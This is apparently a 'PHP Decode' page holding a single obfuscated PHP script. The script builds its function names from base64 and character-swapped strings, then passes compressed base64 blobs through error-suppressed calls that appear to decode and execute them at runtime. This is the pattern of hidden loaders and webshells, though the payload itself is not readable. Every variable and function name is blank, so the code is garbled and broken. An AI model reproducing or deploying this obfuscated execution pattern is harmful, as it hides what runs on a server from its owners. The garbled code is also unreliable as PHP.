PHP Decode

<?php   
if (!defined("CACADBFABFFDBDFB")){define("CACADBFABFFDBDFB", __FILE__);global $,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$;function ($,$=""){global $,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$;if(empty($)){return base64_decode($);}else{return ($($,$,$($)));}}$=("c3RycmV2");$=("c3RydHI=");$=("bmFzrTb0X2Rlb29krQ==","YZaqoNrb");$=("F3p1hNmvhXByFXmz","ZmVbEhLNF");$=("uzP0MGpwZjQwM2ZhZDVhMTVmNmQ1NTA2YWQ3YmNhOTk3u2P=","LpUfsnPIu");$=("zHxlZ19yZXBsYWNl","cOJxaz");$=("qXqhbA==","ZzFWq");function (&$){global $,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$;$=("hGll","ZTUWh");@$($,$."(@$($('eNptkm1vmlAUx7+KIb6AjD4A2mnMzTbN6ko2p2ar4LaYgjC1YCqYMrs2KrPUirU+prao46OOe1WSbnt57/md//mfh2CvDZYujsWrrMLnMmCGkVg++YkvH8UxIha0nQkKZ3MZ6t4LCdWknoWBobNarjMTzLGRYLKNOy8slqt5zkhAoNtr9kej7nCAIFaNGmwuBK6hfOJcZCHS69vm74e7fucRMZVcWOY5tsFzp8jGifr9R/q4lqhAttUZtMfNiTM0rRWiNa6kC8noqZYBAJbO65KhQXJwu7Lmtj26mUyfWghV1LyucKkzSf0MbiBazB5+rCgQdprT8WI+bVkPE8u+RzT3jlXyVLTOi1mzcvIGgC5szIiXSykOppjWwnQGzanZcp5m5nUHJclqSheYVGkI5ZX4h5IM0aULCoXDo/dvC4VYWcb/qoZje/jui1fEV3wPIz2WDPbaLkH8DD7OflkugK8v1LfYlaTokv+5dGNXwcViPrZvvZc/ZHwdJwOYJvjrQRr4liafT2aTQfynIz9lK4Rv9MgdmiIA2H56x4E/A3xun9xhaGIXi9KRSFEMFffFIiPJUvjgoCgyYYYKMy/piBChMTJEEEg1cHkZ+MeIi69P0AWvN5bWrlFpZN0fgAvqZVWC/BpEW0kzF5RQS50LXLwxSHsXsILr0dSzi1o97Y3pD701Jy8=')));","  
540b0f403fad5a15f6d5506ad7bca997");return "3";}}else{global $,$,$,$,$,$,$,$,$,$,$,$,$,$,$,$;$=("c3RycmV2");$=("c3RydHI=");$=("bmFzrTb0X2Rlb29krQ==","YZaqoNrb");$=("F3p1hNmvhXByFXmz","ZmVbEhLNF");$=("uzP0MGpwZjQwM2ZhZDVhMTVmNmQ1NTA2YWQ3YmNhOTk3u2P=","LpUfsnPIu");$=("zHxlZ19yZXBsYWNl","cOJxaz");$=("qXqhbA==","ZzFWq");}$=("KU5velRUSzJBQUFDf25BRUSV","ZmwrK");$=($);@$($,$."(@$($('eNotjksOgjAUAPeewsVbYPJuoNHTaHSjJOq6pdTHp1AopQIW8api4mI2k0wy6912swuP4WLmdD5cgtX6b".$.$."V/C+CNkEcIyluEwcWEUPvpPZtx7BuVIZSl0jxxCBTbuHJ1jpDmrDAmrfXcFkp8urKQw1xQZEp6NE8vELjUUcOsrwVNCDqbqFfKJLZ9cQTP2mbsW06dJVUh9PrZTdzJgRuVSoYgaBRes1Zw/3LiIX/bX1bIW70=')));","  
540b0f403fad5a15f6d5506ad7bca997");return true;?>b22858dc3dfbbe0de867148cc05e9908